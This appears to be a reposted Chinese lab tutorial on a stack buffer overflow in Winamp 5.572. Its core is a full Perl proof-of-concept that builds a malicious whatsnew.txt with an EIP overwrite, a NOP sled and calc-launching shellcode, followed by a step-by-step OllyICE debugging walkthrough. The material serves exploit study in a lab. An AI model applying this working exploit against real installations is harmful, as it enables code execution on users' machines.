生活随笔
收集整理的這篇文章主要介紹了
Winamp栈溢出漏洞研究【转载】
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
課程簡介
Winamp是一款非常經典的音樂播放軟件,它于上世紀九十年代后期問世。與現在音樂播放軟件行業百家爭鳴的情況不同,當時可以說Winamp就是聽音樂的唯一選擇了,相信那個時代的電腦玩家是深有體會的。而時至今日,依然有一批忠實的Winamp粉絲還在堅守著這塊陣地,這也就說明了這款播放器依舊是有很強的生命力。 但是,這款軟件的漏洞也是挺多的,五花八門,涵蓋了很多方面。而我們這次所討論的就是這款軟件在讀取whatsnew.txt,也就是更新歷史文件時出現的緩沖區溢出漏洞。 課程介紹 | Tools | Path |
| WinHex | C:\Tools\WinHex |
| OllyICE | C:\Tools\OllyICE |
學習將自己的 ShellCode植入POC文件中。 實驗步驟 ?? 第一步 下載實驗工具 請訪問http://tools.ichunqiu.com/62105285下載實驗文件。 小i提示: - 在本次實驗中,請注意實驗工具、實驗文件存放路徑,不同的文件路徑可能會出現不一樣的實
驗結果。 - 在實驗環境中無法連接互聯網,請使用您本地的網絡環境。
快速查找實驗工具 - 打開桌面?Everything?搜索工具,輸入實驗工具名稱,右擊選擇“打開路徑”,跳轉實驗工
具所在位置。 ?? ?? 第二步 漏洞重現 正常的whatsnew.txt文件位于Winamp文件夾中,保存的是軟件的更新歷史信息。我們為了重現 漏洞,需要將特殊構造的whatsnew.txt覆蓋掉原始的txt文件。然后打開Winamp,在菜單欄的 HELP中選擇“About Winamp”: ?? 在彈出的對話框中選擇“Version history”: ?? 于是就觸發了漏洞。但是按照說明,利用網上找到的這個whatsnew.txt文件是可以打開計算器 程序的,但是我在實際測試的時候,有時可以打開,有時卻不行。其實這很正常,網上所找到的 很多的漏洞利用的文件本身往往是存在著各種各樣的問題的,因此我們在這里有必要親自動手來 調試一下,弄清楚這個txt文件的漏洞利用原理。 ?? 第三步 漏洞利用代碼分析 既然我們已經觸發了漏洞,那么我們可以進一步分析一下漏洞出現的原因。查看一下它的POC代碼 ,是利用Perl語言編寫的: my $version = "Winamp 5.572"; my $junk = "\x41" x 540; my $eip = "\xad\x86\x0e\x07"; # overwrite EIP - 070E86AD FFD4 CALL ESP nde.dll my $nop = "\x90" x 100; my $shellcode = # windows/exec cmd=calc.exe "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49". "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x47". "\x58\x30\x42\x31\x50\x42\x41\x6b\x42\x41\x57\x42\x32\x42\x41\x32". "\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x78\x69\x6b\x4c\x6a". "\x48\x53\x74\x67\x70\x67\x70\x75\x50\x4e\x6b\x53\x75\x65\x6c\x6e". "\x6b\x51\x6c\x46\x65\x70\x78\x43\x31\x68\x6f\x4e\x6b\x30\x4f\x54". "\x58\x6e\x6b\x73\x6f\x57\x50\x67\x71\x58\x6b\x77\x39\x4c\x4b\x64". "\x74\x6c\x4b\x57\x71\x5a\x4e\x76\x51\x49\x50\x6e\x79\x6e\x4c\x4f". "\x74\x4b\x70\x70\x74\x37\x77\x69\x51\x48\x4a\x64\x4d\x43\x31\x4f". "\x32\x7a\x4b\x48\x74\x55\x6b\x72\x74\x34\x64\x77\x74\x70\x75\x4d". "\x35\x6c\x4b\x71\x4f\x75\x74\x36\x61\x48\x6b\x41\x76\x4c\x4b\x44". "\x4c\x70\x4b\x4e\x6b\x63\x6f\x55\x4c\x33\x31\x68\x6b\x4e\x6b\x35". "\x4c\x4e\x6b\x34\x41\x6a\x4b\x6c\x49\x33\x6c\x35\x74\x64\x44\x4a". "\x63\x34\x71\x4b\x70\x63\x54\x6e\x6b\x71\x50\x76\x50\x4f\x75\x4b". "\x70\x72\x58\x74\x4c\x4c\x4b\x77\x30\x76\x6c\x4c\x4b\x44\x30\x57". "\x6c\x6c\x6d\x6e\x6b\x75\x38\x54\x48\x58\x6b\x73\x39\x6e\x6b\x4b". "\x30\x4e\x50\x37\x70\x67\x70\x37\x70\x6c\x4b\x62\x48\x45\x6c\x63". "\x6f\x35\x61\x39\x66\x35\x30\x50\x56\x4d\x59\x48\x78\x6e\x63\x59". "\x50\x43\x4b\x66\x30\x43\x58\x68\x70\x6f\x7a\x43\x34\x33\x6f\x73". "\x58\x4f\x68\x6b\x4e\x6d\x5a\x46\x6e\x72\x77\x6b\x4f\x78\x67\x63". "\x53\x62\x41\x30\x6c\x55\x33\x64\x6e\x42\x45\x70\x78\x32\x45\x33". "\x30\x47"; open (myfile,'>> whatsnew.txt'); print myfile $version.$junk.$eip.$nop.$shellcode; print "[+] whatsnew.txt written.\n"; print "[ ] Now copy it to your winamp folder...\n"; print "[ ] Run winamp and hit [About Winamp]->[Version History]\n"; 首先看一下倒數第四條語句,它其實是漏洞利用的代碼的格式,一共是五塊內容,即`version +junk+eip+nop+shellcode`。其中的version是當前軟件的版本,這里是5.572版;junk是一段 填充代碼,這里是540個0x41,也就是大寫字母A,填充的作用就是為了接下來的返回地址的`覆蓋 ;eip則是我們將要覆蓋的返回地址`,這里是0x070e86ad;nop位置是100個0x90;最后就是 ShellCode代碼了。 ?? 第四步 漏洞的調試 為了調試這個漏洞,我們可以結合構造好的whatsnew.txt進行。首先是定位漏洞出現的位置, 然后在相應的位置下斷點進行分析。我們以前的做法是在類似于strcpy這一類的函數上下斷點 ,然后逐個斷點進行分析,或者在類似于fopen這樣的函數上下斷點。當然方法是五花八門的,不 管是哪種方法,基本都是可以達到目的的。那么針對于這次的程序來說,既然我們已經知道程序 會打開whatsnew.txt這個文件,那么不妨在程序中查找一下這個字符串,然后再進行分析。 首先利用OD載入winamp.exe程序,在反匯編代碼區域單擊鼠標右鍵,選擇“查找”中的** “所有參考文本字串”**: ?? 之后選擇最上面的條目,表示從最開始位置進行搜索。單擊鼠標右鍵,選擇“查找文本”, 輸入我們要查找的字符串名稱“whatsnew.txt”,再單擊確定: ?? 其實這里一共可以搜索出兩個結果,那么接下來我們可以分別查看一下這兩處語句。可能這兩處 語句本身并不是fopen函數的參數語句,不過沒有關系,相信距離fopen也不會太遠。首先雙擊 第一個結果,來到其反匯編代碼的位置,然后在該位置上下觀察一下,就可以找到疑似文件打開 語句的位置了: ?? 可以先在0x004015EE處下一個斷點,然后按F9讓程序運行起來,依據之前講過的步驟來觸發漏 洞,于是程序就停在了0x004015EE的位置。這里最開始是利用malloc語句申請大小為0x20000 的內存空間,返回值就是所分配的空間的地址,我這里是0x0286C008。之后調用wfopen來打開 whatsnew.txt文件。再調用fread函數: ?? 通過分析這個函數的參數可以知道,fread函數會將文件內容讀入剛才所分配的空間中。然后利用 strncmp函數進行比對: ?? 可見,這里是在驗證所讀取的whatsnew.txt文件的最開始9個字符是否為“Winamp 5.”驗證通 過才能夠進行下一步的操作。這也就說明了,為什么需要在漏洞利用的代碼中,添加`“version ”`的信息。然后就來到了最重要的字符串拷貝函數的位置: ?? 這里是將從whatsnew.txt文件讀取出來的內容拷貝到地址為0x00BDEBAC的位置中。我們可以按 F8步過這個函數來看一下: ?? 可見當前的棧空間中已經寫入了我們編寫的whatsnew.txt文件的內容,而0x00BDEDD4中保存的 正是我們所覆蓋地址,這是原始的返回地址的位置。那么直接執行到返回地址的位置查看一下: ?? 可以看到程序使用的是call esp的方法,此時的esp所保存的地址為0x00BDEDE8,正好落在了 0x90也就是nop的區段中,在這些0x90的后面,就是ShellCode了。 這里我們的目的不是弄清楚原始ShellCode為什么有時能夠執行有時卻不能夠執行,大家有興趣 的話可以自行研究,我們這里不妨將之前我們一直使用的ShellCode植入,看看能不能達到預期的 效果。可以使用十六進制編輯工具對whatsnew.txt進行編輯: ?? 那么再嘗試觸發漏洞: ?? 可見我們的利用是成功的。 ?? 第五步 小結 這次我們所討論的是建立在他人ShellCode代碼基礎上的漏洞分析。可見即便是前輩高人的代碼 ,也不見得就很管用。因此這就需要我們不斷地進行嘗試與研究,將他人的思想學到手,才能夠 不斷地提高。
總結
以上是生活随笔為你收集整理的Winamp栈溢出漏洞研究【转载】的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。